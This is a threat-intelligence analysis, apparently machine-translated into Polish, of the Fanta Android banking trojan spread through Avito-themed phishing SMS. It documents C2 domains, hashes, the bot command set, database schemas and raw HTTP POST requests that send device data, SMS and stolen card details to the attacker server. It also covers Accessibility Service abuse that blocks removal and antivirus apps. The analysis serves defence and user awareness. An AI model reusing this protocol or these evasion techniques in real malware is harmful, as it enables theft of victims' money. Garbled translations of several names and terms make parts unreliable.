Leisya, Fanta: nowa taktyka starego trojana dla Androida

Leisya, Fanta: nowa taktyka starego trojana dla Androida

Któregoś dnia będziesz chciał coś sprzedać na Avito i po zamieszczeniu szczegółowego opisu swojego produktu (np. modułu RAM) otrzymasz wiadomość:

Leisya, Fanta: nowa taktyka starego trojana dla AndroidaPo otwarciu linku zobaczysz pozornie nieszkodliwą stronę powiadamiającą Ciebie, szczęśliwego i odnoszącego sukcesy sprzedawcę, o dokonaniu zakupu:

Leisya, Fanta: nowa taktyka starego trojana dla Androida
Po kliknięciu przycisku „Kontynuuj” na Twoje urządzenie z Androidem zostanie pobrany plik APK z ikoną i budzącą zaufanie nazwą. Zainstalowałeś aplikację, która z jakiegoś powodu żądała uprawnień AccessibilityService, po czym pojawiło się kilka okien, które szybko zniknęły i... To wszystko.

Idziesz sprawdzić saldo, ale z jakiegoś powodu aplikacja bankowa ponownie prosi o podanie danych karty. Po wprowadzeniu danych dzieje się coś strasznego: z jakiegoś niejasnego dla Ciebie powodu pieniądze zaczynają znikać z Twojego konta. Próbujesz rozwiązać problem, ale Twój telefon stawia opór: naciska klawisze „Wstecz” i „Dom”, nie wyłącza się i nie pozwala na aktywację żadnych zabezpieczeń. W rezultacie zostajesz bez pieniędzy, Twoje towary nie zostały zakupione, jesteś zdezorientowany i zastanawiasz się: co się stało?

Odpowiedź jest prosta: padłeś ofiarą trojana Fanta dla systemu Android, należącego do rodziny Flexnet. Jak to się stało? Wyjaśnijmy teraz.

Autorzy: Andriej Połowinkin, młodszy specjalista ds. analizy złośliwego oprogramowania, Iwan Pisariew, specjalista od analizy złośliwego oprogramowania.

Niektóre statystyki

Rodzina trojanów Flexnet dla Androida stała się znana po raz pierwszy w 2015 roku. W ciągu dość długiego okresu działalności rodzina rozszerzyła się na kilka podgatunków: Fanta, Limebot, Lipton itp. Trojan i związana z nim infrastruktura nie stoją w miejscu: opracowywane są nowe skuteczne schematy dystrybucji - w naszym przypadku wysokiej jakości strony phishingowe skierowane do konkretnego użytkownika-sprzedawcy, a twórcy trojana podążają za modnymi trendami w pisanie wirusów - dodanie nowej funkcjonalności, która umożliwia skuteczniejszą kradzież pieniędzy z zainfekowanych urządzeń i ominięcie mechanizmów ochronnych.

Kampania opisana w artykule skierowana jest do użytkowników z Rosji, niewielką liczbę zainfekowanych urządzeń odnotowano na Ukrainie, a jeszcze mniej w Kazachstanie i Białorusi.

Mimo że Flexnet występuje na arenie trojanów dla systemu Android od ponad 4 lat i został szczegółowo zbadany przez wielu badaczy, nadal jest w dobrej kondycji. Od stycznia 2019 r. potencjalna kwota szkód wynosi ponad 35 milionów rubli – i dotyczy to tylko kampanii w Rosji. W 2015 r. różne wersje tego trojana dla Androida były sprzedawane na nielegalnych forach, gdzie można było znaleźć również kod źródłowy trojana wraz ze szczegółowym opisem. Oznacza to, że statystyki zniszczeń na świecie są jeszcze bardziej imponujące. Niezły wskaźnik jak na tak starego człowieka, prawda?

Leisya, Fanta: nowa taktyka starego trojana dla Androida

Od sprzedaży do oszustwa

Jak widać z zaprezentowanego wcześniej zrzutu ekranu strony phishingowej dla internetowego serwisu zamieszczania reklam Avito, została ona przygotowana dla konkretnej ofiary. Najwyraźniej napastnicy wykorzystują jeden z parserów Avito, który wyodrębnia numer telefonu i nazwę sprzedawcy, a także opis produktu. Po rozwinięciu strony i przygotowaniu pliku APK ofiara otrzymuje wiadomość SMS zawierającą jej imię i nazwisko oraz link do strony phishingowej zawierającej opis jej produktu oraz kwotę uzyskaną ze „sprzedaży” produktu. Klikając na przycisk, użytkownik otrzymuje złośliwy plik APK - Fanta.

Badanie domeny shcet491[.]ru wykazało, że jest ona delegowana do serwerów DNS Hostingera:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Plik strefy domeny zawiera wpisy wskazujące adresy IP 31.220.23[.]236, 31.220.23[.]243 i 31.220.23[.]235. Jednak podstawowy rekord zasobów domeny (rekord A) wskazuje na serwer o adresie IP 178.132.1[.]240.

Adres IP 178.132.1[.]240 znajduje się w Holandii i należy do hosta ŚwiatStream. Adresy IP 31.220.23[.]235, 31.220.23[.]236 i 31.220.23[.]243 znajdują się w Wielkiej Brytanii i należą do wspólnego serwera hostingowego HOSTINGER. Używany jako rejestrator openprov-ru. Następujące domeny również przeszły na adres IP 178.132.1[.]240:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Warto zaznaczyć, że linki w następującym formacie były dostępne niemal ze wszystkich domen:

http://(www.){0,1}<%domain%>/[0-9]{7}

Ten szablon zawiera również link z wiadomości SMS. Na podstawie danych historycznych stwierdzono, że jedna domena odpowiada kilku linkom według opisanego powyżej wzorca, co wskazuje, że jedna domena została wykorzystana do dystrybucji trojana wśród kilku ofiar.

Przejdźmy trochę do przodu: trojan pobrany poprzez łącze z wiadomości SMS wykorzystuje ten adres jako serwer kontrolny onusedseddohap[.]klub. Domena ta została zarejestrowana 2019 r. i począwszy od 03 r. aplikacje APK wchodziły w interakcję z tą domeną. Z danych uzyskanych z VirusTotal wynika, że ​​z tym serwerem współdziałało łącznie 12 aplikacji. Sama domena została rozwiązana na adres IP 217.23.14[.]27, zlokalizowana w Holandii i należąca do gospodarza ŚwiatStream. Używany jako rejestrator namecheap. Domeny również zostały przypisane do tego adresu IP klub złego szopa[.] (od 2018 r.) i zły-racoon[.]na żywo (od 2018 r.). Z domeną klub złego szopa[.] interakcja z ponad 80 plikami APK zły-racoon[.]na żywo - więcej niż 100.

Ogólnie rzecz biorąc, atak przebiega w następujący sposób:

Leisya, Fanta: nowa taktyka starego trojana dla Androida

Co kryje się pod pokrywką Fanty?

Podobnie jak wiele innych trojanów dla Androida, Fanta potrafi czytać i wysyłać wiadomości SMS, wysyłać żądania USSD i wyświetlać własne okna na aplikacjach (w tym bankowych). Jednak przybył arsenał funkcjonalności tej rodziny: Fanta zaczęła używać Usługa ułatwień dostępu do różnych celów: odczytywania treści powiadomień z innych aplikacji, zapobiegania wykryciu i zatrzymywania wykonywania trojana na zainfekowanym urządzeniu itp. Fanta działa na wszystkich wersjach Androida nie młodszych niż 4.4. W tym artykule przyjrzymy się bliżej następującej próbce Fanty:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Zaraz po uruchomieniu

Natychmiast po uruchomieniu trojan ukrywa swoją ikonę. Aplikacja może działać tylko wtedy, gdy nazwa zainfekowanego urządzenia nie znajduje się na liście:

  • Android_x86
  • VirtualBox
  • Nexus 5X (głowa byka)
  • Nexus 5 (brzytwa)

Kontrola ta przeprowadzana jest w głównej usłudze trojana - Główny serwis. Przy pierwszym uruchomieniu parametry konfiguracyjne aplikacji są inicjowane do wartości domyślnych (format przechowywania danych konfiguracyjnych i ich znaczenie zostaną omówione później), a na serwerze kontrolnym rejestrowane jest nowe zainfekowane urządzenie. Do serwera zostanie wysłane żądanie HTTP POST zawierające typ wiadomości zarejestruj_bota oraz informacje o zainfekowanym urządzeniu (wersja Androida, IMEI, numer telefonu, nazwa operatora i kod kraju, w którym operator jest zarejestrowany). Adres służy jako serwer sterujący hXXp://onuseseddohap[.]club/controller.php. W odpowiedzi serwer wysyła wiadomość zawierającą pola bot_id, bot_pwd, serwer — aplikacja zapisuje te wartości jako parametry serwera CnC. Parametr serwer opcjonalnie jeżeli pole nie dotarło: Fanta korzysta z adresu rejestracyjnego - hXXp://onuseseddohap[.]club/controller.php. Funkcję zmiany adresu CnC można wykorzystać do rozwiązania dwóch problemów: do równomiernego rozłożenia obciążenia pomiędzy kilka serwerów (w przypadku dużej liczby zainfekowanych urządzeń obciążenie niezoptymalizowanego serwera WWW może być duże), a także do wykorzystania serwer alternatywny na wypadek awarii jednego z serwerów CnC.

Jeśli podczas wysyłania żądania wystąpi błąd, trojan powtórzy proces rejestracji po 20 sekundach.

Po pomyślnej rejestracji urządzenia Fanta wyświetli użytkownikowi następujący komunikat:

Leisya, Fanta: nowa taktyka starego trojana dla Androida
Ważna uwaga: serwis o nazwie Bezpieczeństwo systemu — nazwę usługi trojana i po kliknięciu przycisku ОК Otworzy się okno z ustawieniami Dostępności zainfekowanego urządzenia, w którym użytkownik musi przyznać uprawnienia Dostępności dla złośliwej usługi:

Leisya, Fanta: nowa taktyka starego trojana dla Androida
Gdy tylko użytkownik się włączy Usługa ułatwień dostępuFanta uzyskuje dostęp do zawartości okien aplikacji i wykonywanych w nich czynności:

Leisya, Fanta: nowa taktyka starego trojana dla Androida
Natychmiast po otrzymaniu praw dostępu trojan żąda uprawnień administratora i odczytu powiadomień:

Leisya, Fanta: nowa taktyka starego trojana dla Androida
Korzystając z usługi AccessibilityService, aplikacja symuluje naciśnięcia klawiszy, nadając sobie w ten sposób wszystkie niezbędne uprawnienia.

Fanta tworzy wiele instancji baz danych (co zostanie opisane później) niezbędnych do przechowywania danych konfiguracyjnych, a także zebranych w procesie informacji o zainfekowanym urządzeniu. Aby wysłać zebrane informacje, trojan tworzy powtarzające się zadanie, którego zadaniem jest pobranie pól z bazy danych i otrzymanie polecenia z serwera sterującego. Interwał dostępu do CnC jest ustawiany w zależności od wersji Androida: w przypadku wersji 5.1 interwał będzie wynosił 10 sekund, w przeciwnym razie 60 sekund.

Aby otrzymać polecenie, Fanta składa prośbę PobierzZadanie do serwera zarządzającego. W odpowiedzi CnC może wysłać jedno z poniższych poleceń:

Zespół Opis
0 Wyślij wiadomość SMS
1 Wykonaj połączenie telefoniczne lub polecenie USSD
2 Aktualizuje parametr interwał
3 Aktualizuje parametr przechwycić
6 Aktualizuje parametr Menedżer sms
9 Zacznij zbierać wiadomości SMS
11 Zresetuj telefon do ustawień fabrycznych
12 Włącz/wyłącz rejestrowanie tworzenia okna dialogowego

Fanta zbiera także powiadomienia z 70 aplikacji bankowych, systemów szybkich płatności i e-portfeli i przechowuje je w bazie danych.

Przechowywanie parametrów konfiguracyjnych

Do przechowywania parametrów konfiguracyjnych Fanta wykorzystuje standardowe podejście dla platformy Android - Preferencje-akta. Ustawienia zostaną zapisane w pliku o nazwie w panelu ustawień. Opis zapisanych parametrów znajduje się w tabeli poniżej.

nazwa Domyślna wartość Możliwa wartość Opis
id 0 Liczba całkowita Identyfikator bota
serwer hXXp://onuseseddohap[.]club/ URL Kontroluj adres serwera
Pwd - sznur Hasło serwera
interwał 20 Liczba całkowita Przedział czasowy. Wskazuje, na jak długo należy odłożyć następujące zadania:

  • Podczas wysyłania zapytania o status wysłanej wiadomości SMS
  • Odbieranie nowego polecenia z serwera zarządzania

przechwycić cała kolekcja wszystko/Numer tel Jeśli pole jest równe string cała kolekcja lub numer telefonu, wówczas otrzymana wiadomość SMS zostanie przechwycona przez aplikację i nie pokazana użytkownikowi
Menedżer sms 0 0/1 Włącz/wyłącz aplikację jako domyślnego odbiorcę SMS-ów
przeczytaj Dialog fałszywy Prawda fałsz Włącz/wyłącz rejestrowanie zdarzeń Wydarzenie dotyczące dostępności

Fanta również używa tego pliku Menedżer sms:

nazwa Domyślna wartość Możliwa wartość Opis
szt.kg - sznur Nazwa używanego menedżera wiadomości SMS

Interakcja z bazami danych

Podczas swojego działania trojan wykorzystuje dwie bazy danych. Nazwa bazy danych a służy do przechowywania różnych informacji zebranych z telefonu. Druga baza danych ma nazwę fanta.db i służy do zapisywania ustawień odpowiedzialnych za tworzenie okien phishingowych mających na celu zbieranie informacji o kartach bankowych.

Trojan korzysta z bazy danych а do przechowywania zebranych informacji i rejestrowania Twoich działań. Dane są przechowywane w tabeli dzienniki. Aby utworzyć tabelę, użyj następującego zapytania SQL:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Baza danych zawiera następujące informacje:

1. Rejestrowanie uruchomienia zainfekowanego urządzenia za pomocą komunikatu Telefon się włączył!

2. Powiadomienia z aplikacji. Wiadomość generowana jest według następującego szablonu:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Dane kart bankowych z formularzy phishingowych stworzonych przez trojana. Parametr WIDOK_NAZWA może być jednym z następujących:

  • AliExpress
  • Avito
  • Google play
  • Różne <%Nazwa aplikacji%>

Wiadomość jest logowana w formacie:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Wiadomości SMS przychodzące/wychodzące w formacie:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Informacje o pakiecie tworzącym okno dialogowe w formacie:

(<%Package name%>)<%Package information%>

Przykładowa tabela dzienniki:

Leisya, Fanta: nowa taktyka starego trojana dla Androida
Jedną z funkcjonalności Fanta jest zbieranie informacji o kartach bankowych. Gromadzenie danych następuje poprzez tworzenie okien phishingowych podczas otwierania aplikacji bankowych. Trojan tworzy okno phishingowe tylko raz. Informacja o tym, że okno zostało pokazane użytkownikowi, zapisana jest w tabeli w panelu ustawień w bazie danych fanta.db. Aby utworzyć bazę danych, użyj następującego zapytania SQL:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Wszystkie pola tabeli w panelu ustawień domyślnie zainicjowany na 1 (utwórz okno phishingowe). Po wprowadzeniu przez użytkownika danych wartość zostanie ustawiona na 0. Przykład pól tabeli w panelu ustawień:

  • can_login — pole odpowiedzialne za wyświetlenie formularza podczas otwierania aplikacji bankowej
  • pierwszy_bank - nieużywany
  • can_avito — pole odpowiedzialne za wyświetlenie formularza podczas otwierania aplikacji Avito
  • can_ali — pole odpowiada za wyświetlenie formularza podczas otwierania aplikacji Aliexpress
  • może_inny — pole odpowiada za wyświetlenie formularza przy otwieraniu dowolnego wniosku z listy: Yula, Pandao, Drom Auto, portfel. Karty rabatowe i bonusowe, Aviasales, Booking, Trivago
  • karta_puszka — pole odpowiedzialne za wyświetlenie formularza podczas otwierania Google play

Interakcja z serwerem zarządzającym

Interakcja sieciowa z serwerem zarządzania odbywa się za pośrednictwem protokołu HTTP. Do pracy z siecią Fanta wykorzystuje popularną bibliotekę Retrofit. Zgłoszenia wysyłane są na adres: hXXp://onuseseddohap[.]club/controller.php. Adres serwera można zmienić podczas rejestracji na serwerze. W odpowiedzi z serwera mogą zostać przesłane pliki cookies. Fanta wysyła do serwera następujące żądania:

  • Rejestracja bota na serwerze sterującym następuje jednorazowo, przy pierwszym uruchomieniu. Na serwer wysyłane są następujące dane o zainfekowanym urządzeniu:
    · Cookies — pliki cookie otrzymane z serwera (wartość domyślna to pusty ciąg znaków)
    · tryb — stała łańcuchowa zarejestruj_bota
    · prefiks — stała całkowita 2
    · wersja_sdk — kształtuje się według następującego wzoru: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei — IMEI zainfekowanego urządzenia
    · kraj — kod kraju, w którym operator jest zarejestrowany, w formacie ISO
    · numer - numer telefonu
    · operator - imię operatora

    Przykład żądania wysłanego do serwera:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    W odpowiedzi na żądanie serwer musi zwrócić obiekt JSON zawierający następujące parametry:
    · bot_id — Identyfikator zainfekowanego urządzenia. Jeśli bot_id jest równy 0, Fanta ponownie wykona żądanie.
    bot_pwd — hasło do serwera.
    serwer — adres serwera sterującego. Parametr opcjonalny. Jeżeli parametr nie zostanie określony, zastosowany zostanie adres zapisany w aplikacji.

    Przykładowy obiekt JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Żądanie otrzymania polecenia z serwera. Na serwer przesyłane są następujące dane:
    · Cookies — pliki cookies otrzymane z serwera
    · stawka — identyfikator zainfekowanego urządzenia otrzymany podczas wysyłania żądania zarejestruj_bota
    · Pwd —hasło do serwera
    · urządzenie_admin — pole określa, czy nabyto uprawnienia administratora. Jeśli uzyskano uprawnienia administratora, pole jest równe 1Inaczej 0
    · dostępność — Stan działania usługi dostępności. Jeśli usługa została uruchomiona, wartość wynosi 1Inaczej 0
    · Menedżer SMS-ów — pokazuje, czy trojan jest włączony jako domyślna aplikacja do odbierania SMS-ów
    · ekran — wyświetla stan ekranu. Wartość zostanie ustawiona 1, jeśli ekran jest włączony, w przeciwnym razie 0;

    Przykład żądania wysłanego do serwera:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    W zależności od polecenia serwer może zwrócić obiekt JSON z różnymi parametrami:

    · Zespół Wyślij wiadomość SMS: Parametry zawierają numer telefonu, treść wiadomości SMS oraz identyfikator wysyłanej wiadomości. Identyfikator wykorzystywany jest przy wysyłaniu wiadomości do serwera z typem ustawStan SMS-a.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Zespół Wykonaj połączenie telefoniczne lub polecenie USSD: numer telefonu lub polecenie pojawia się w treści odpowiedzi.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Zespół Zmień parametr interwału.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Zespół Zmień parametr przechwytywania.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Zespół Zmień pole SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Zespół Zbieraj wiadomości SMS z zainfekowanego urządzenia.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Zespół Zresetuj telefon do ustawień fabrycznych:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Zespół Zmień parametr ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Wysyłanie wiadomości z typem ustawStan SMS-a. Żądanie to następuje po wykonaniu polecenia Wyślij wiadomość SMS. Żądanie wygląda następująco:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Przesyłanie zawartości bazy danych. Na każde żądanie przesyłany jest jeden wiersz. Na serwer przesyłane są następujące dane:
    · Cookies — pliki cookies otrzymane z serwera
    · tryb — stała łańcuchowa ustawZapiszInboxSms
    · stawka — identyfikator zainfekowanego urządzenia otrzymany podczas wysyłania żądania zarejestruj_bota
    · XNUMX — tekst w bieżącym rekordzie bazy danych (pole d ze stołu dzienniki w bazie danych а)
    · numer — nazwa bieżącego rekordu bazy danych (pole p ze stołu dzienniki w bazie danych а)
    · tryb_sms — wartość całkowita (pole m ze stołu dzienniki w bazie danych а)

    Żądanie wygląda następująco:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Jeśli dane zostaną pomyślnie przesłane na serwer, wiersz zostanie usunięty z tabeli. Przykład obiektu JSON zwróconego przez serwer:

    {
        "response":[],
        "status":"ok"
    }

Interakcja z usługą dostępności

Usługę Accessibility Service wdrożono, aby ułatwić korzystanie z urządzeń z systemem Android osobom niepełnosprawnym. W większości przypadków do interakcji z aplikacją wymagana jest fizyczna interakcja. AccessibilityService umożliwia wykonanie ich programowo. Fanta wykorzystuje tę usługę do tworzenia fałszywych okien w aplikacjach bankowych i uniemożliwiania użytkownikom otwierania ustawień systemu i niektórych aplikacji.

Korzystając z funkcjonalności AccessibilityService, trojan monitoruje zmiany elementów na ekranie zainfekowanego urządzenia. Jak opisano wcześniej, w ustawieniach Fanty znajduje się parametr odpowiedzialny za rejestrowanie operacji w oknach dialogowych - przeczytaj Dialog. Jeżeli parametr zostanie ustawiony, do bazy danych zostanie dodana informacja o nazwie i opisie pakietu, który wywołał zdarzenie. Po wywołaniu zdarzeń trojan wykonuje następujące działania:

  • Symuluje naciśnięcie klawiszy Wstecz i Home w następujących przypadkach:
    · jeśli użytkownik chce ponownie uruchomić swoje urządzenie
    · jeśli użytkownik chce usunąć aplikację „Avito” lub zmienić uprawnienia dostępu
    · jeśli na stronie jest wzmianka o aplikacji „Avito”.
    · podczas otwierania aplikacji Google Play Protect
    · podczas otwierania stron z ustawieniami AccessibilityService
    · gdy pojawi się okno dialogowe Zabezpieczenia systemu
    · podczas otwierania strony z ustawieniami „Rysuj nad inną aplikacją”.
    · podczas otwierania strony „Aplikacje”, „Odzyskiwanie i resetowanie”, „Reset danych”, „Resetuj ustawienia”, „Panel programisty”, „Specjalne. możliwości”, „Szczególne możliwości”, „Specjalne prawa”
    · jeśli zdarzenie zostało wygenerowane przez określone aplikacje.

    Lista aplikacji

    • android
    • Mistrz Lite
    • Mistrz sprzątania
    • Clean Master dla procesora x86
    • Zarządzanie uprawnieniami aplikacji Meizu
    • Bezpieczeństwo MIUI
    • Clean Master - program antywirusowy, narzędzie do czyszczenia pamięci podręcznej i śmieci
    • Kontrola rodzicielska i GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock i Web Security Beta
    • Środek do czyszczenia wirusów, program antywirusowy, środek czyszczący (MAX Security)
    • Mobilny program antywirusowy PRO
    • Avast antywirus i bezpłatna ochrona 2019
    • Bezpieczeństwo mobilne MegaFon
    • Ochrona AVG dla Xperii
    • Mobilne zabezpieczenia
    • Program antywirusowy i ochrona Malwarebytes
    • Antywirus dla Androida 2019
    • Mistrz Bezpieczeństwa - Antywirus, VPN, AppLock, Booster
    • Antywirus AVG dla menedżera systemu tabletu Huawei
    • Dostępność Samsunga
    • Inteligentny menedżer Samsunga
    • Mistrz bezpieczeństwa
    • Przyspieszacz
    • Dr.Web
    • Dr.Web Security Space
    • Mobilne centrum sterowania Dr.Web
    • Życie w przestrzeni bezpieczeństwa Dr.Web
    • Mobilne centrum sterowania Dr.Web
    • Antywirus i bezpieczeństwo mobilne
    • Kaspersky Internet Security: antywirus i ochrona
    • Kaspersky Battery Life: Oszczędzanie i wspomaganie
    • Kaspersky Endpoint Security - ochrona i zarządzanie
    • AVG Antivirus za darmo 2019 – ochrona dla Androida
    • android antywirus
    • Norton Mobile Security i antywirus
    • Antywirus, zapora ogniowa, VPN, bezpieczeństwo mobilne
    • Mobile Security: antywirus, VPN, ochrona przed kradzieżą
    • Antywirus dla Androida

  • Jeśli podczas wysyłania wiadomości SMS na krótki numer zostanie wyświetlony monit o pozwolenie, Fanta symuluje kliknięcie pola wyboru Pamiętaj o wyborze i przycisk wysłać.
  • Próba odebrania trojanowi uprawnień administratora powoduje zablokowanie ekranu telefonu.
  • Uniemożliwia dodawanie nowych administratorów.
  • Jeśli aplikacja antywirusowa dr.web wykryła zagrożenie, Fanta imituje naciśnięcie przycisku ignorować.
  • Trojan symuluje naciśnięcie przycisku Wstecz i Home, jeśli zdarzenie zostało wygenerowane przez aplikację Pielęgnacja urządzenia Samsung.
  • Fanta tworzy okna phishingowe z formularzami służącymi do wprowadzania informacji o kartach bankowych, jeśli została uruchomiona aplikacja z listy około 30 różnych usług internetowych. Wśród nich: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto itp.

    Formularze phishingowe

    Fanta analizuje, które aplikacje działają na zainfekowanym urządzeniu. Jeśli otwarta została interesująca aplikacja, trojan wyświetla okno phishingowe na wszystkich innych, które jest formularzem służącym do wprowadzania informacji o karcie bankowej. Użytkownik musi wprowadzić następujące dane:

    • Numer karty
    • Data Ważności Karty
    • CVV
    • Imię i nazwisko posiadacza karty (nie dla wszystkich banków)

    W zależności od uruchomionej aplikacji zostaną wyświetlone różne okna phishingowe. Poniżej znajdują się przykłady niektórych z nich:

    AliExpress:

    Leisya, Fanta: nowa taktyka starego trojana dla Androida
    Awito:

    Leisya, Fanta: nowa taktyka starego trojana dla Androida
    W przypadku niektórych innych zastosowań, np. Rynek Google Play, Aviasales, Pandao, Rezerwacja, Trivago:
    Leisya, Fanta: nowa taktyka starego trojana dla Androida

    Jak było naprawdę

    Na szczęście osoba, która otrzymała opisaną na początku artykułu wiadomość SMS, okazała się specjalistą od cyberbezpieczeństwa. Dlatego prawdziwa, niereżyserska wersja różni się od tej podanej wcześniej: osoba otrzymała ciekawego SMS-a, po czym przekazała go zespołowi Group-IB Threat Hunting Intelligence. Efektem ataku jest ten artykuł. Szczęśliwe zakończenie, prawda? Jednak nie wszystkie historie kończą się tak pomyślnie i aby Twoja nie wyglądała na wersję reżyserską ze stratą pieniędzy, w większości przypadków wystarczy przestrzegać następujących, długo opisywanych zasad:

    • nie instaluj aplikacji na urządzenie mobilne z systemem operacyjnym Android pochodzących z innych źródeł niż Google Play
    • Podczas instalowania aplikacji należy zwrócić szczególną uwagę na prawa wymagane przez aplikację
    • zwracaj uwagę na rozszerzenia pobieranych plików
    • regularnie instaluj aktualizacje systemu operacyjnego Android
    • nie odwiedzaj podejrzanych zasobów i nie pobieraj stamtąd plików
    • Nie klikaj linków otrzymanych w wiadomościach SMS.

Źródło: www.habr.com

Dodaj komentarz